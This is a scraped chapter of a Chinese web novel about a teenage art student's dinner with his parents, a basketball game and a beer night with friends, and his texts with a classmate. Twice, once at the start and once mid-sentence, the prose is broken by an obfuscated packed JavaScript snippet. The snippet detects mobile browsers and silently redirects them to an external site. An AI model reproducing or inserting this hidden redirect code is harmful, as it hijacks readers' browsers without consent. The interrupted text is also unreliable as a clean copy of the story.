;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803716|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个摄影爱好者能不垂涎哈苏。 他像在街上骑共享单车被旁边飞驰而过的杜卡迪溅了一身水。 【蝉:?】 【1101:家里的。】 换做其他相机,他肯定说“能不能借我拍几张”,但这是哈苏……还是赵逐川家里人的哈苏,算了。 收拾完房间,纪颂应声下楼吃饭,纪仪龄也到家了。 “东北菜?”纪仪龄换好拖鞋走到饭桌前,伸手拨弄旋转盘,夹了块豆皮放进嘴里,“老梁,你什么时候会做饭的?” 梁牧取下围裙,擦擦手:“在网上学的。” 纪颂正洗了手从卫生间出来。 一两个月未见,梁牧鬓角一如既往地修剪得极短,斯文俊秀,衬衫领口规整地扣到顶端,哪怕在做饭也浑身有种知识分子的挺拔。 梁牧开口带有常年授课后的沙哑:“小颂。” “爸。”纪颂扫了一眼他爹,点头问好,再摆齐碗筷,拎开凳子坐下吃饭,“这是什么?” “鸡蛋焖子。”梁牧回答。 纪颂低头偷偷吐出一小片碎鸡蛋壳,没多做点评,闷头吃。原来这才是真的东北菜。 梁牧在吃饭的时候看了儿子耳朵好几回,几次欲言又止,终于在纪颂埋头喝汤时快被耳钉闪瞎眼睛,忍不住质问:“小颂……你这不伦不类的耳洞什么时候打的?你们老师要求的?” 纪仪龄不同意:“这叫培养艺术家气质。” 她已经放弃管束纪颂,从酱大骨上拆点肉下来放纪颂碗里,撇撇嘴,说:“这位少爷,以你那狂傲不羁的生活态度,你没去找把枪对着耳朵从上往下啪啪啪打一排我都谢天谢地。” 纪颂吃得正欢,闻言侧过脸冲他妈甜甜一笑:“打一排那得多少个洞啊,打豁了下雨天会漏水的。” 梁牧冷哼了声,摇头叹气。 但这儿子从小他都管不着…… 男孩儿嘛,越长大越有自己的想法,父子关系也没有小时候那般亲密无间。 纪颂刚上小学那几年,相机里还都是梁牧带着他出去采风拍摄的风景,后来没过多久,梁牧越来越忙,忙着评职称、备课、带学生,总觉得儿子长大了,花在纪颂身上的时间越来越少,久而久之,梁牧发现儿子朋友圈放的照片都是自己没见过的风景,能说的话也越来越少了。 为此,他同办公室的老师还安慰过他,说老梁,养男孩儿就是这样的,越养越不熟,慢慢地,他就离家飞到远方去了。 纪仪龄还在关心儿子的事:“你呢,这些天和同学相处得怎么样?都学些什么?” “学朗诵,对,什么都能朗诵,还能原创稿件呢。”纪颂思考着怎么给他爸妈说得通俗点,语速变慢,“学命题说话,学演戏,还学写剧本……哦,还学化妆弄造型,明早起来我就薅头发给你们看看。” 纪仪龄听得认真,随他一同弯起眼眸笑:“我儿子,不用薅都帅!” 梁牧附和道:“是啊。” 耳尖倏地红了,纪颂突然对上他妈带笑的目光,羞得埋头吃一口米饭,含混道:“哎,妈,爸……我们班帅哥很多的。” 纪仪龄正在转身拿木勺,顺带用勺柄敲了下纪颂后脑勺:“那还不给我看看?” 还真有。 纪颂掏出手机,翻开上次Vega下课拍的合影,用指尖放大了自己那一圈:“看!我在这儿。” 照片上纪颂白得显眼,头顶的死亡顶光丝毫不影响他的面部饱满度,每一寸轮廓都俊朗清晰。 旁边,赵逐川身上的少年气裹挟一股与众不同的凌厉感。 纪仪龄也学他爸摇头叹气的表情,“啧啧”两声,帮纪颂打退堂鼓:“你们班有这么帅的,你肯定没戏了。” 纪颂抗议:“我们风格不冲突!” 纪仪龄当没听见她儿子的辩驳,眼神不带挪半寸的:“还有照片吗?这小孩真精神。” 他妈下令,纪颂不得不服从,点开赵逐川朋友圈一看,光秃秃的,像一棵冬季生长在京北的树,什么都没有,只剩刺儿了。 【蝉:能发张你照片给我吗?我妈想看你,拜托拜托。】 【1101:?】 20.五月 纪颂盯着这个问号看了几秒。 直到赵逐川发来一张显然是现拍的迷之角度自拍—— 从上往下,眉头紧锁,眼神寡淡,头发凌乱。 赵逐川似乎才睡醒,身下和头后的床品都是一片白,像躺在雪地里。 “……” 我的天。 现在才六点啊,赵逐川就睡觉了? 【蝉:……你在酒店?】 【1101:没有。】 纪颂更满头问号,飞快给纪仪龄看了一眼自拍照。 桌上再没什么话说的饭厅里只剩下筷子碰撞瓷碟的声音。 纪仪龄托着下巴,脚尖挂着拖鞋一晃一晃的,脸上浮现起温柔的笑,开始回忆少女时代的偶像,眼神竟带落寞,念叨起来:“哎。还真是长江后浪推前浪,虽然说每一代火的帅哥不一样,但大众的审美本质还是趋同的。你看你同学这标致劲儿,完全男一脸啊,有点像我们那年代爆火的那个什么……黎……” 纪颂又飞快打字回复: 【蝉:谢谢你的照片,我妈说你超级帅!】 【1101:谢谢阿姨。】 纪颂弯了弯嘴角,迎上他妈迷茫的眼神,接话:“黎意?” 纪仪龄:“对对对。但又有点像演白大少爷那个。” 纪颂:“哦!靳霄。” 怎么又是这两个男演员。 纪颂正要说点什么,纪仪龄又一拍大腿:“还有,演《雪刃1949》里面少校那个……” 那又是谁? 手机又响了。 纪颂心想我还没回他啊,结果划开微信,赵逐川破天荒地追加消息: 【1101:阿姨还说什么没有?】 纪仪龄想了会儿没想起来那个男演员的名字,眯起眼笑了:“你这同学以后演个古偶什么的肯定火,我得提前要签名。” 纪颂说:“我甚至可以直接把他作业本给你收藏。” 他夹了块甜滋滋的锅包肉进嘴,想起赵逐川对某些老牌男星的莫名敌意,没敢说实话,只挑了一半回复: 【蝉:她说想要你的签名。】 【蝉:完全爱上.jpg】 吃完饭,纪颂乖乖进厨房跟着梁牧一起洗了碗,再收拾好厨房,蹿上楼换一整身球衣,又背着球袋下楼站在落地镜前抓两把头发。 手指夹着前额发丝往下捋,拉直。 糟糕,快遮挡住眉毛了。 纪颂抬眸平视前方,镜中的少年五官精致走势向上,朝气很轻易地从眼角眉梢往外宣溢,生机蓬勃,爽朗无畏。 但Vega总夸赞他长得漂亮,眼睛灵动,红唇齿白,就差直说做男做女都精彩了,可纪颂没看出来—— 哪儿漂亮了? 额头全部露出来哪儿好看了? 一点都不酷。 他对镜子做了个杀马特手势,微仰起头,伸出舌尖,幻想自己打舌钉的样子是不是酷毙了。 算了。 还是清纯男高好学生风格适合我。 纪颂抓住刘海往头顶顺去,镜子里的自己像一棵椰子树。 “别去剪你的头发,你头发长长点比以前帅多了。”纪仪龄正巧路过,一眼看出来儿子在想什么。 纪颂很无奈:“不是您以前说什么男生的额头必须全部露出来,不露出来挡气运吗?” “气运是可以变的,”纪仪龄抬手赏他一个后脑崩儿,“我命由我不由天,你不是搞艺术的吗?还不懂?” 纪颂:“我命由妈不由我。” 纪仪龄不和他计较,拍拍他肩膀:“准备出去找薄炀他们打球?” 纪颂用指尖勾着篮球袋:“嗯!” “就这么去!真不错,”纪仪龄扳过他肩膀,伸手拨弄几下儿子头发,像观摩自己最伟大的作品,眼神亮亮的,“薄炀他们几个小子准夸你帅,羡慕死他们!” 出门前,纪颂小声学他妈说话:“羡慕死他们。” 说完还偷偷笑了下。 帅不帅不知道,反正纪颂知道这夏天闷热潮湿,出门没多久,他的头发就全汗湿贴紧脑门儿了。 电动门哗啦直响,如洪水开闸,一群群穿校服的蓝色小鱼汹涌游出,自行车与电瓶车声叮当响成一片,几个高个儿男生朝纪颂的方向奔来。 “哥们儿真精神!” “我哪天不精神?” “靠?帅哥你谁啊!” “我是你哥!” “颂哥你整容啦?” “尚在恢复期!” “你难道骗我们说学艺体,实际参加变形计?” “那节目组把谁换来了?我找人弄他去。” 为首的薄炀再斗不过嘴,一拳砸上他胸口。 纪颂捂着胸口直咳嗽:“你小子偷袭是吧……” 他拎着球袋在一群中年家长间格外出挑,傻傻等了十多分钟,这才终于等到人来。 胸口结结实实挨了一拳,纪颂也不躲,勾过薄炀的肩,后脑勺翘起的碎发在风里跳动,笑闹着:“你再打我可要还手了!” “啧,凭你现在肌肉量,你打得过谁啊?”贺临天跟上,“你在艺校没怎么练肌肉?你现在还真不一定打得赢薄炀那只细狗。” 薄炀假装掀起衣服扇风,实则露肌肉,辩驳:“我也还行啊!” 凌云小跑过去走到纪颂身侧:“颂哥确实瘦了好多!” 一时间,纪颂不知道该哭该笑。 他瞄一眼自己宽松球衣随风收束出的腰线弧度,心疼刷刷掉下去的肌肉,解释:“我们成天都是跑步、扎马步、深蹲,还在舞蹈练功房练基本功……腰么,确实细了一圈。” 班上几乎所有同学都瘦了,反而赵逐川没有,他摘口罩像解除封印,平时穿短袖露出的臂膀比入学时看着都更结实。 经过Vega的“强迫式”改造,赵逐川虽形象没作大变动,但整体气质向着成年男人的硬朗挺阔进发,用俗话说就是——长开了。 “想什么呢,”薄炀撞了撞纪颂肩膀,“看你这表情,我有儿媳妇啦?” 纪颂往旁边躲了下,回以肘击:“在想怎么虐你。” 鱼群游曳过了海草珊瑚,几个男生撒欢儿似的穿过家长群。 除纪颂外,其他人纷纷拽开拉链脱校服外套奔跑起来,目的地是十几米开外的校外公用球场。 “等等我!跑那么快要死啊!” “学艺术了变优雅了你跑不快了是吧?” “你等着!” 球队主心骨暂时回归,没人想浪费准高三下课后的宝贵时间,立刻现场招人组成3V3两队,划了个半场即刻开赛。 纪颂离开球场再久也不至于手生,半小时后,以他为中心点的一队获得胜利,几个人累得气喘吁吁,全部大汗淋漓,一屁股坐在地上。 远处街灯昏黄,树荫中蝉鸣阵阵,这场球赛以最后一颗三分球空心入网砸向地面而宣告结束—— “啪!” 啤酒瓶盖跌落至桌面。 纪颂捡起瓶盖,掏出微信扫码,“哇”了声,仰起脸乐:“发财了!扫出来六块钱。” 贺临天比了个手势“6”,正色道:“说明你今天要走大运。” 纪颂没多想:“都晚上了还走什么大运,来得及吗?” 他扯了张纸巾开始擦烧烤摊的桌子,摇头避开薄炀递来的烟。 薄炀“嗳”一声,摆出一副吊儿郎当的表情:“纪颂,跟我们一起你装什么装?” “不抽,”纪颂甚至换了个位置,“你离我远点,臭死了。” 薄炀叼起烟,弯腰继续从纸箱里拿啤酒:“为什么,你戒烟了?” 纪颂从桌子上摸了个打火机给他点上,哼笑一声:“我就吸过几口那也叫抽烟?而且咱俩不是一起说了再也不抽的吗?怎么你又抽上了?” “没办法,学习压力大啊!” “压力大你卯足了劲儿学啊,折腾烟和大家的肺干什么?” “我一周就半包,”薄炀竖起食指,“绝不在公共场合抽。今晚除外。看在我那什么的份上。” 最后一句话,薄炀是压低了嗓子说的,店里背景音过于嘈杂,纪颂没听清楚,很大声地问:“哪儿什么?” 他这一嗓子嚎出来,桌上好几双眼睛齐刷刷望过来,他们又正是对什么都好奇的年纪,薄炀招架不住,连忙摆手:“没什么没什么!” 纪颂不追问,接过冰镇啤酒,闻了闻瓶口刺鼻浓郁的麦芽花香气,皱皱鼻子,说:“我每天要晨练、做妆造,还得上形体课,有时候挨老师同学都近,我怕身上有味儿。” 另一个点菜的队友闻言抬头看纪颂一眼:“哟,集训还真给你训转性了。” 薄炀问:“怎么样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809038|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们学校女生是不是个顶个的漂亮?” 纪颂没什么表情:“都漂亮。” 薄炀单手搭上纪颂的肩膀:“那……” 纪颂嘴唇轻启:“滚。” “不滚不滚,我们都好久没见你了。”薄炀嘴上这么说,眼睛却全黏在烤串上。 贺临天心最细,也最安静,第一个注意到纪颂扣在右边耳垂的纯银耳钉,诧异道:“怎么去打耳洞了?你们艺校要求的?” “不是啊,”纪颂不知道怎么解释,无所谓道:“我自己想打的。” 薄炀捏着筷子,朗声:“我就说!” 纪颂哼笑:“说来听听?” 薄炀:“我就说你今天为什么看着感觉不一样,就是……非常地……嗯,怎么形容呢……” 纪颂赏他一个白眼:“你文盲啊?说不出来就赶紧吃你的烤串。” 几个青春期正在发育的男生胃口好,又刚运动完,点菜乌泱泱点了一桌,摆都摆不下,那香味像吐着信子的毒蛇疯狂钻入纪颂的鼻腔,憋得他眼仁发红。 纪颂只吃了几口不敢多吃,全拿的素菜和牛肉。 桌上众人也看出他是在减肥,没敢多劝,只说着“光喝酒不会长胖的”、“这小麦果汁真减肥”、“啤酒酵母降低脂肪”等等话语,频繁找许久不见的纪颂干杯。 喝到后面,纪颂都不记得开了多少瓶了,只记得燕京啤酒微苦清爽口感好,喝酒像喝水,没多少度…… 反正明天放假休息,上午睡个懒觉,下午再抱着相机出去拍照好了。 纪颂推开靠在他肩膀上缓口气的薄炀,坐直身体,迷迷糊糊地想。 在集星他每天喝奶长个追进度,还得上下学穿防晒衣保护皮肤,早就忘了在敞亮的天空下疯狂奔跑、流汗是什么感觉。 刚推开薄炀,另一边的凌云又靠过来。 肩上年纪稍小点的男生声音绵软:“颂哥,其实我好羡慕你啊。” 纪颂说:“羡慕我什么,现在不用读书?” 凌云摇摇头:“不……是你说走就走,想考什么学校都很有目标……不像我,我都快十七岁了,根本不知道我以后该干什么。” 有多少人能在年少时就明白自己一生所追求的是什么呢?很少吧。 纪颂抿一口酒,挑了块冰在舌尖打转:“你还小,过两年再明白自己想干什么也不迟。” 他看见自己青涩的脸倒映在玻璃杯上,正在吃烤串的腮帮鼓囊囊,像含了几颗糖,没半点即将成年的样子,嘀咕:“虽然我也没多大。” 凌云摇头:“不知道。我就觉得,一天天混下去像没有尽头……” 纪颂瞄了眼凌云手上脱线的护腕,确认他在借酒说真心话。 这小子一满嘴跑火车就爱抠手腕,这会儿另一只手却握着啤酒瓶,正要再来一杯和纪颂碰一碰。 贺临天堪称定海神针,直接抢过凌云的酒瓶,摆手:“差不多了,喝这么多,你们明天还上不上学啊?” “我不上,”纪颂举手,“我挨个把他们送回家。” “你不行,你酒量变差了,”贺临天下结论后,挽起袖子,对纪颂说:“我等下回去还要听网课,所以没喝太多。我家和凌云顺路,我送他吧。你送薄炀? 桌上其他人都趁着还清醒,分别认领了自己的回家搭子。 “好,”纪颂起身,“我去趟卫生间。” 他掀开帘子,走到卫生间洗手池前,一抬眼瞥见镜中的自己面颊薄红,很轻地“啧”了声。 太久没碰酒精,猛地摄入这么多量,他居然上脸了。 摁开手机,纪颂又看了一遍十分钟以前发出去的微信消息: 【蝉:你作业写完了吗?】 【1101:写完了,飞机上写的。】 消息原本止步于十分钟之前。 可此刻,沉寂已久的微信聊天界面又齐刷刷弹出两条新发来的消息: 【1101:你在哪儿?】 【1101:我没有看见你。】 紧接着又是一条定位信息发来,地点是烧烤店。 “啊?”纪颂果断退出微信,又点进去。 反反复复来回两次,他闭了闭眼,感受眼皮发烫的温度,终于确认这条定位是真的。 他想起刚才中奖的6元钱。 赵逐川是他今天走的大运吗?